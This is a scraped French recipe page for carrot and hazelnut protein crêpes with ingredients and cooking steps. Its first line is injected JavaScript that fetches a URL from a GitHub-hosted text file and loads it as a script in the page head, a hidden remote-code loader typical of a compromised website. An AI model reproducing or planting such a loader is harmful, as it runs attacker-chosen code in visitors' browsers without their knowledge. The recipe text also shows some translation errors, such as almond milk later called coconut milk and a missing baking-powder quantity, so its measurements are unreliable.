;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Crêpe de protéines carottes et noisettes – Haute Nutrition

Crêpe de protéines carottes et noisettes

Crêpe de protéines carottes et noisettes

Prep Time 15 mins
Cook Time 20 mins
Total Time 35 mins
Course Breakfast
Cuisine American
Servings 10 crêpes

Ingredients
  

  • 3 oeufs
  • 1/2 tasse de lait d’amande
  • 1 cuillère à soupe de jus de citron frais
  • 2 c. À table d’huile de noix de coco ou beurre
  • 1/4 tasse de sucre de noix de coco biologique
  • 1 c. À table de sirop d’érable pur
  • 1 c. À thé d’extrait de vanille pure
  • 1/2 tasse de farine de noix de coco
  • 1/4 tasse de farine d’amande
  • À thé de poudre à pâte – * voir la remarque concernant la préparation de poudre à pâte sans maïs si désiré
  • 1/2 cuillère à café de bicarbonate de soude
  • 1/4 c. À thé de sel de mer
  • 1/2 c. À thé de cannelle
  • 1/4 c. À thé de gingembre
  • 1 1/2 tasse de carottes râpées pressées avec du papier absorbant
  • Ghee ou huile de noix de coco pour la friture
  • Noix hachées au sommet facultatif

Instructions
 

  • Mélanger le jus de citron dans le lait de coco et laisser reposer pendant au moins 5 minutes
  • Dans un bol, mélanger la farine de noix de coco, la farine d’amande, la levure chimique *, le sel marin et les épices. Dans un bol séparé, fouetter ensemble les œufs, le mélange lait de coco / jus de citron, l’huile de ghee / noix de coco fondue, le sucre de coco et la vanille jusqu’à homogénéité.
  • Mélangez lentement les ingrédients secs dans un endroit humide jusqu’à ce qu’il n’y ait plus de tâches de farine (la farine de noix de coco peut être têtue, assurez-vous de bien la mélanger.) Enfin, incorporez les carottes râpées.
  • La pâte sera très épaisse à cause de la farine de noix de coco. Chauffer une poêle antiadhésive ou une plaque chauffante à feu moyen-doux et enduire d’huile de noix de coco. Répartissez doucement environ 1/4 tasse de pâte à crêpes en une forme circulaire commençant au centre. Une fois que les bords sont secs et que des bulles se forment, retournez-les et continuez de cuire jusqu’à ce qu’ils soient dorés, à feu moyen-doux, en ajustant le feu pour éviter de brûler l’extérieur pendant que vous cuisez encore à l’intérieur. Cuire en plusieurs fois, en ajustant la chaleur et en ajoutant de l’huile de noix de coco ou du ghee au besoin.
Keyword Crepe de protéine